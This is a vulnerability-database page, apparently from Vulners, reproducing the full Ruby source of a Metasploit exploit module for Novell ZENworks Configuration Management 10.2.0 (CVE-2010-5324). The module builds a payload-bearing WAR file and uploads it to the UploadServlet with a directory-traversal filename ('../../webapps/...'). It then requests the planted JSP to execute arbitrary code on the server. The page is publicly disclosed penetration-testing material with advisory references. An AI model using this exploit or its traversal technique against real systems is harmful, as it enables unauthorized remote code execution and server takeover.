Lucene search
K

Novell ZENworks Configuration Management Remote Execution

🗓️ 04 Jun 2010 13:36:29Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

Novell ZENworks Configuration Management Remote Execution module exploits code execution flaw in Novell ZENworks Configuration Management 10.2.0 allowing upload of malicious file outside TEMP directory for arbitrary code execution

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-5324
22 Nov 201000:00
circl
CVE
CVE-2010-5324
7 Jun 201523:00
cve
Cvelist
CVE-2010-5324
7 Jun 201523:00
cvelist
NVD
CVE-2010-5324
7 Jun 201523:59
nvd
Prion
Directory traversal
7 Jun 201523:59
prion
Prion
Directory traversal
7 Jun 201523:59
prion
Prion
Directory traversal
7 Jun 201523:59
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
      'Description' => %q{
          This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
        By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
        and then make a secondary request that allows for arbitrary code execution.
      },
      'Author'      => [ 'MC' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2010-5324' ],
          [ 'OSVDB', '63412' ],
          [ 'BID', '39114' ],
          [ 'ZDI', '10-078' ],
          [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005573' ]
        ],
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ],
          [ 'Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [ 'Linux x86', # should work but untested
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2010-03-30'))
  end

  def exploit

    # Generate the WAR containing the EXE containing the payload
    app_base = rand_text_alphanumeric(4+rand(32-4))
    jsp_name = rand_text_alphanumeric(8+rand(8))

    war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

    res = send_request_cgi({
      'uri'       => '/zenworks/UploadServlet',
      'method'    => 'POST',
      'data'      => war_data,
      'headers'   => {
        'Content-Type' => 'application/octet-stream',
      },
      'encode_params' => false,
      'vars_get'  => {
        'filename' => "../../webapps/#{app_base}.war"
      }
    })

    print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

    select(nil, nil, nil, 20)

    if (res && res.code == 200)
      print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
        send_request_raw(
          {
            'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
            'method' => 'GET',
          })
    else
      print_error("Denied...")
    end

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation